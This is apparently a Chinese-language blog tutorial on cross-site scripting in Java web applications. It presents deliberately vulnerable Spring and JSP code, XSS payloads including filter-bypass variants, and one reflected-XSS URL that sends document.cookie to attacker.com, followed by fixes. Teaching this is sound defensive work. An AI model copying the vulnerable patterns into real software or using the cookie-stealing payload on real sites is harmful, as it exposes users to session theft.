Java XSS案例

wen java案例 1

Java XSS 漏洞案例分析

直接输出用户输入(最常见)

// 不安全的代码
@Controller
public class UserController {
    @GetMapping("/profile")
    @ResponseBody
    public String getUserProfile(@RequestParam String username) {
        return "<h1>User Profile: " + username + "</h1>";
    }
}
// 攻击示例
// 请求: /profile?username=<script>alert('XSS')</script>
// 响应: <h1>User Profile: <script>alert('XSS')</script></h1>

JSP页面中的XSS

<!-- 不安全的JSP -->
<%@ page import="java.net.URLDecoder" %>
<%
String name = request.getParameter("name");
%>
<html>
<body>
    <h1>Welcome, <%= name %>!</h1>  <!-- XSS漏洞 -->
    <!-- 更隐蔽的XSS -->
    <div onclick="showUser('<%= name %>')">Click me</div>
    <!--
    攻击: name=');alert('XSS');//
    结果: <div onclick="showUser('');alert('XSS');//')">Click me</div>
    -->
</body>
</html>

JSON数据中的XSS

// 不安全的API
@RestController
public class ApiController {
    @GetMapping("/api/user")
    public String getUser(@RequestParam String name) {
        // 将用户输入直接放入JSON
        String json = "{\"name\":\"" + name + "\",\"role\":\"user\"}";
        return json;
    }
}
// 攻击示例
// 请求: /api/user?name=John</script><script>alert('XSS')</script>
// 返回字符串中包含了恶意脚本

文件上传中的XSS

// 不安全的文件处理
@PostMapping("/upload")
public String uploadFile(@RequestParam("file") MultipartFile file) {
    String fileName = file.getOriginalFilename();
    // 直接将文件名显示在页面上
    return "File: <div>" + fileName + "</div>";
    // 攻击: 上传文件名为: <img src=x onerror=alert('XSS')>.txt
}

反射型XSS案例

@Controller
public class SearchController {
    @RequestMapping("/search")
    public String search(@RequestParam String keyword, Model model) {
        List<String> results = searchService.search(keyword);
        // 不安全的做法:直接将关键字显示在页面
        StringBuilder html = new StringBuilder();
        html.append("<h2>Search results for: ");
        html.append(keyword);  // XSS漏洞
        html.append("</h2>");
        model.addAttribute("searchResult", html.toString());
        return "search";
    }
    // 攻击URL: /search?keyword=<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>
}

存储型XSS案例

@Entity
public class Comment {
    private String content;  // 用户输入的评论内容
}
@Controller
public class CommentController {
    @PostMapping("/comment")
    public String addComment(@RequestParam String content) {
        Comment comment = new Comment();
        comment.setContent(content);  // 直接存储恶意内容
        commentRepository.save(comment);
        return "redirect:/comments";
    }
    @GetMapping("/comments")
    public String showComments(Model model) {
        List<Comment> comments = commentRepository.findAll();
        model.addAttribute("comments", comments);
        return "comments";
    }
}
<!-- comments.jsp - 不安全的展示 -->
<c:forEach items="${comments}" var="comment">
    <div class="comment">
        ${comment.content}  <!-- XSS漏洞: 直接输出用户输入 -->
    </div>
</c:forEach>

DOM型XSS案例

// JavaScript中的XSS
@Controller
public class DomXSSController {
    @GetMapping("/dom-xss")
    public String domXSS(@RequestParam String username, Model model) {
        model.addAttribute("username", username);
        return "dom-xss";
    }
}
<!-- dom-xss.jsp -->
<script>
    // 不安全的DOM操作
    var username = "${username}";  // 从服务器获取
    document.getElementById("welcome").innerHTML = "Welcome, " + username;
    // 或者使用eval
    var userInput = "${userInput}";
    eval(userInput);  // 极度危险!
</script>

绕过简单过滤的XSS

@Controller
public class BypassXSSController {
    @GetMapping("/comment")
    public String comment(@RequestParam String content) {
        // 简单过滤(可能被绕过)
        String filtered = content
            .replace("<script>", "")
            .replace("</script>", "");
        // 仍然存在风险:
        // 1. 大小写绕过: <ScRiPt>alert('XSS')</SCRIPT>
        // 2. 双写绕过: <scr<script>ipt>alert('XSS')</script>
        // 3. 其他标签: <img src=x onerror=alert('XSS')>
        // 4. 事件处理: <body onload=alert('XSS')>
        // 5. SVG: <svg onload=alert('XSS')>
        return "<div>" + filtered + "</div>";
    }
}

安全修复方案

// 方案1: HTML编码
import org.apache.commons.text.StringEscapeUtils;
@GetMapping("/safe-profile")
@ResponseBody
public String safeProfile(@RequestParam String username) {
    // 对输出进行HTML编码
    String safeUsername = StringEscapeUtils.escapeHtml4(username);
    return "<h1>User Profile: " + safeUsername + "</h1>";
}
// 方案2: 使用模板引擎(Thymeleaf自动转义)
@Controller
public class SafeController {
    @GetMapping("/safe")
    public String safe(@RequestParam String username, Model model) {
        model.addAttribute("username", username);
        return "safe-template";
    }
}
<!-- safe-template.html - Thymeleaf自动转义 -->
<h1 th:text="${username}">Default Name</h1>
// 方案3: 使用Content Security Policy
@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .headers()
            .contentSecurityPolicy("default-src 'self'; script-src 'self'");
    }
}
// 方案4: 输入验证和白名单
public class InputValidator {
    public static String sanitize(String input) {
        // 允许安全的HTML标签
        return Jsoup.clean(input, 
            Whitelist.basic()
                .addTags("b", "i", "u", "p", "br")
        );
    }
}
// 综合防护方案
@ControllerAdvice
public class XSSProtectionAdvice {
    // 全局输出编码
    @ModelAttribute
    public void addAttributes(Model model) {
        model.addAttribute("xssEncoder", new XSSEncoder());
    }
    // 输入验证
    @InitBinder
    public void initBinder(WebDataBinder binder) {
        binder.registerCustomEditor(String.class, new StringTrimmerEditor(true));
    }
}
// 自定义编码器
public class XSSEncoder {
    public String encode(String value) {
        if (value == null) return null;
        return StringEscapeUtils.escapeHtml4(value);
    }
    public String encodeJavaScript(String value) {
        if (value == null) return null;
        return StringEscapeUtils.escapeEcmaScript(value);
    }
    public String encodeURL(String value) {
        if (value == null) return null;
        return URLEncoder.encode(value, StandardCharsets.UTF_8);
    }
}

最佳实践:

Java XSS案例

  1. 始终对输出进行编码
  2. 使用模板引擎的自动转义功能
  3. 实施输入验证和白名单
  4. 配置Content Security Policy
  5. 定期进行安全审计和渗透测试

上一篇Java SQL注入案例

下一篇当前分类已是最新一篇

抱歉,评论功能暂时关闭!